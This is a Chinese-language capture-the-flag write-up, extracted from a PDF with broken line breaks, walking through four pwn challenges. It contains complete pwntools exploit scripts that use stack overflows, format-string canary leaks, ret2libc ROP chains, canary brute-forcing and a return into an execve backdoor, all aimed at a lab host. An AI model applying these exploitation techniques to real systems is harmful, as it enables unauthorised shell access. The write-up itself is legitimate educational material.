目录
1.pwn1
通过题目给的提示可以看到是关于
nc
的知识的。直接百度
nc
,发现是
netcat
工具。
直接链接就好。
做法如下图:
接着执行 linux 命令 ls 查看所有文件
可以看到其中有 flag.txt。使用 cat 命令查看 flag.txt 中的内容。
我们就可以得到
flag
了。
2.pwn2
首先下载
pwn2
文件将其放入
ubuntu
中使用
checksec
检查保护以及位数。
可以看到题目是
64
位的,只开了
NX
保护。接着将
pwn2
文件放入
ida64
中进行反编译。
进入
ida
后使用
F5
加载伪代码。
main
函数如上图所示:
接着我们可以对
main
函数进行分析。
通过观察可以发现,定义了两个数组一个是
v4
,一个是
buf
大小都是
32
。
接着观察主体函数逻辑,首先有三个
puts
函数进行打印文本,接着出现一个
read
函数。
对该
read
函数进行分析。
read
函数读取我们所输入的内容将其存在
buf
数组中,但是定义了只能接受
0xA
大小的数据。
明显无法构造我们所需要的
ROP
链,这里不存在漏洞。
分析下一个
read
函数,可以看到该
read
函数可以接受
0x80
大小的数据。
接着查看栈上的数据。
可以看到
ret
返回地址处在
0x40+0x8
的地方,但是我们可以输入
0x80
大小的数据。此处存
在栈溢出漏洞。
接着在
ida
中找到了
getshell
函数
发现出题人给出了 system 函数。那么直接进行调用就可以了。
那么
system
函数的位置就在
0x40067A
的位置上了。
那就直接编写
exp
就好了
exp
如下:
from
pwn
import
*
context.log_level =
'debug'
p = remote(
'172.16.64.96'
,
9259
)
system_addr =
0x40067A
p.recvuntil(
'Please input your name.'
)
p.sendline(b
'aaaa'
)
p.recvuntil(
'Please input your password.'
)
payload = b
'a'
*(
0x48
) + p64(system_addr)
p.sendline(payload)
p.interactive()
3.pwn3
首先下载 pwn3 文件将其放入 ubuntu 中使用 checksec 检查保护以及位数。
可以看到程序是
64
位并且开启了
nx
保护和
canary
,直接放入
ida
中反编译。
由于题目部分中
puts
函数输出的是中文,所以需要结合程序实际运行逻辑来看。
首先,我们要进行选择。那么在 ida 中寻找对应的判断语句
可以发现当
v4 == 97
的时候就可以运行下一步了,
ASCII
对应可以得
a =97
所以选择
a
进入下一步。
当我们选择
a
之后出现了
5
个选项,对应
ida
中的伪代码就是
switch
函数进行选择。
我们可以一个一个进行选择进行尝试。
Choice 1
:
可以看到其中包含了一个格式化字符串漏洞,那么我们可以通过格式化字符串来泄露
cananry
的值。
Choice 5:
当我们选择
5
的时候可以看到一位帅气的哥哥在跳舞,并且可以进行评论。
那么我们进入
ida
中查看这部分代码
可以看到 read 函数可以输入 0x80 大小的数据,接着看看栈上的数据。
明显的格式化字符串漏洞,并且在第八位有
canary
的值存在。在
ida
中寻找发现没有任何后
门函数。那就需要我们使用
ret2libc
了。
思路:
首先借助格式化字符串漏洞泄露
canary
的值。进入
ida
中查看
format
的数据位置。
直接进行计算
0x20 = 32
,
0x8 = 8
。
(32 - 8)/8 = 3
。
由于是
64
位程序所以要加上先前被调用的
6
个寄存器所以是
3+6 =9
。
泄露
canary
的脚本如下:
p.sendlineafter(
"
你所选择的哥哥:
"
, b
'a'
)
p.sendline(b
'1'
)
p.sendlineafter(
"
你必须要对哥哥道歉
"
,b
'%9$p'
)
当我们泄露出
canary
的值之后就可以通过栈溢出来泄露出
libc
的基地址了。
从而计算出
system
的真实地址,以及
offset
。
注意不要忘记返回
main
函数。不然
canary
的值是会发生改变的。
泄露基地址的脚本如下:
payload = b
'A'
*(
0x40
-
0x8
) + p64(canary) + b
'A'
*
0x8
+ p64(pop_rdi_ret) + p64(puts_got)
+ p64(puts_plt) + p64(main_addr)
接着我们就可以编写总体的
exp
了,还要注意栈对齐。
Í
exp
如下:
from
pwn
import
*
from
LibcSearcher
import
*
context.log_level =
'debug'
p = remote(
'172.16.64.96'
,
9279
)
#p = process('./pwn3')
elf = ELF(
'./pwn3'
)
puts_got = elf.got[
'puts'
]
puts_plt = elf.plt[
'puts'
]
main_addr = elf.sym[
'main'
]
pop_rdi_ret =
0x400db3
ret_addr =
0x4005ee
def
canary
():
p.sendlineafter(
"
你所选择的哥哥:
"
, b
'a'
)
p.sendline(b
'1'
)
p.sendlineafter(
"
你必须要对哥哥道歉
"
,b
'%9$p'
)
def
rap
():
p.sendlineafter(
"
你所选择的哥哥:
"
,b
'a'
)
p.sendlineafter(
"5=
唱
_
跳
_rap_
篮球
"
,b
'5'
)
canary()
p.recvuntil(
'
\n
'
)
canary =
int
(p.recv(
18
),
16
)
log.info(
"canary => %#x"
,canary)
print
(
hex
(canary))
p.sendline(b
'5'
)
payload = b
'A'
*(
0x40
-
0x8
) + p64(canary) + b
'A'
*
0x8
+ p64(pop_rdi_ret) + p64(puts_got)
+ p64(puts_plt) + p64(main_addr)
p.sendline(payload)
p.recvuntil(
"
你果然是真
IKUN
,来对你喜欢的哥哥发表你的评论
"
)
puts_addr = u64(p.recvuntil(
'
\x7f
'
)[-
6
:].ljust(
8
,b
'
\x00
'
))
log.info(
"puts_addr => %#X"
,puts_addr)
libc_puts =
0x06f6a0
libc_system =
0x0453a0
libc_binsh =
0x18ce57
offset = puts_addr - libc_puts
system_addr = offset + libc_system
bin_sh_addr = offset + libc_binsh
log.info(
"system_addr => %#X"
,system_addr)
log.info(
"bin_sh_addr => %#X"
,bin_sh_addr)
payload = b
'A'
*(
0x40
-
0x8
) + p64(canary) + b
'A'
*
0x8
+ p64(ret_addr) + p64(pop_rdi_ret)
+ p64(bin_sh_addr) + p64(system_addr)
rap()
p.sendline(payload)
p.interactive()
4.pwn4
首先下载 pwn4 文件将其放入 ubuntu 中使用 checksec 检查保护以及位数。
可以看到程序是
64
位并且开启了
nx
保护和
canary
,直接放入
ida
中反编译。
由于这道题比较复杂所以我就分段进行分析。
首先第一部分
接着我们进入了第一部分判断,只有
buf = -559038737
时才可以进行下一步。
在这里我们可以使用
ida
先选中
-559038737
,然后按下
H
就会显示
16
进制数出来。
这个时候我们就能看到其真实值了。我们要注意在按下
H
之后会出现两个值。
一个是
3735928559
,另一个是
0xDEADBEEF
。
只有当
buf = 0xdeadbeef
的时候才能通过。
那么判断的脚本如下:
p.sendlineafter(
'ps:
死牛肉
\n
'
,p64(
0xdeadbeef
))
p.recvuntil(
"Secondly, let's guess some numbers
\n
"
)
第二部分
这两部分结合可以看出生成了伪随机数,将其等于
v9
。然后输入
v5
进行判断伪随机数。
还要循环
4
次,通过判断。
由于
c
伪随机数的生成是通过
time
时间戳来进行生成的,所以只要生成同样的时间戳就可
以通过判断了。
生成时间戳脚本如下:
elf = cdll.LoadLibrary(
'/lib/x86_64-linux-gnu/libc.so.6'
)
elf.srand(
0
)
伪随机数通过脚本如下:
for
i
in
range
(
5
):
payload =
str
(elf.rand())
p.sendlineafter(
"number"
, payload)
第三部分:
v10
在
0 ~ 53246
之间,
v11
在
0 ~ 43256
之间,
v12
在
0 ~ 2
之间。
接着使用
switch
函数和循环函数,将
v12
作为判断条件,在三种计算模式之间任意切换。
当
v12 = 0
时,判断
v10 + v11
的值是否等于
v5
。
当
v12 = 1
时,判断
v10 - v11
的值是否等于
v5
。
当
v12 = 2
时,判断
v10 * v11
的值是否等于
v5
。
计算器脚本如下:
p.recvuntil(
'problems
\n
'
)
for
i
in
range
(
10000
):
# print(p.recv())
# p.sendline(bytes(input()))
log.success(
str
(i))
p.sendline(
str
(
eval
(p.recv().replace(b
" = ?"
, b
""
))))
第四部分
可以看到里面使用了
fork
函数。
从百度上可以查到
fork
函数的功能如下:
https://baike.baidu.com/item/fork/7143171?fr=aladdin
简单来说就是从主进程中创建一个和原本一摸一样的子进程,如果子进程报错后就会返回
-1
。
该部分还使用了循环所以我们可以进行无限次运行。
第五部分
magic
函数
可以看到其中有一个栈溢出,该栈上有
canary
的值,并且在
fork
进程中。
那么我们就可以无限爆
canary
了,而且
canary
是有特征的其末两位为
00
。
由于是
64
位程序所以
canary
的长度是
8byte
。
这个时候我们对
ida
进行寻找发现了
b4ckd00r
函数。
其中有
execve
函数(太棒了!出题人真是个好人,不用
ret2libc
。)
但是注意
execve
函数是有个小坑的。
从百度上查询
execve
函数。
https://baike.baidu.com/item/execve/4475693
int execve(const char * filename,char * const argv[ ],char * const envp[ ]);
execve()
用来执行参数
filename
字符串所代表的文件路径,第二个参数是利用指针数组来传
递给执行文件,并且需要以空指针
(NULL)
结束,最后一个参数则为传递给执行文件的新
环
境变量
数组。
所以我们必须要从
0x400E97
开始将
envp
变量和
argv
变量同时写入才能使
execve
函数成功
调用。
最后
exp
如下:
from
pwn
import
*
from
ctypes
import
*
import
pwn
p8 = pwn.p8
u8 = pwn.u8
p64 = pwn.p64
u64 = pwn.u64
context.log_level =
'debug'
processName =
'./pwn4'
#p = process(processName)
p=remote(
'172.16.64.96'
,
9210
)
# bin
backdoor_addr =
0x4009E7
# objdump -D pwn4 | grep b4ckd00r
offset =
0x70
-
0x8
# hex
p.sendlineafter(
'ps:
死牛肉
\n
'
,p64(
0xdeadbeef
))
p.recvuntil(
"Secondly, let's guess some numbers
\n
"
)
#
伪随机数生成与判断
elf = cdll.LoadLibrary(
'/lib/x86_64-linux-gnu/libc.so.6'
)
elf.srand(
0
)
for
i
in
range
(
5
):
payload =
str
(elf.rand())
p.sendlineafter(
"number"
, payload)
#
绕过计算器
p.recvuntil(
'problems
\n
'
)
for
i
in
range
(
10000
):
log.success(
str
(i))
p.sendline(
str
(
eval
(p.recv().replace(b
" = ?"
, b
""
))))
#
通过电脑自动计算,获取返回值。
context(log_level=
'debug'
, os=
'linux'
)
canary =
'
\x00
'
p.recvuntil(
'Welcome to GUETCTF.
\n
'
)
for
i
in
range
(
7
):
for
j
in
range
(
256
):
p.send(
'a'
* offset + canary +
chr
(j))
recvt = p.recvuntil(
'Welcome to GUETCTF.
\n
'
)
if
b
'No no no!
\n
'
in
recvt:
canary +=
chr
(j)
break
log.success(
'leak_canary => {}'
.format(canary.encode(
'hex'
)))
payload = b
'a'
* offset + p64(canary) + b
'b'
*
0x8
+ p64(backdoor_addr)
p.sendline(payload)
p.interactive()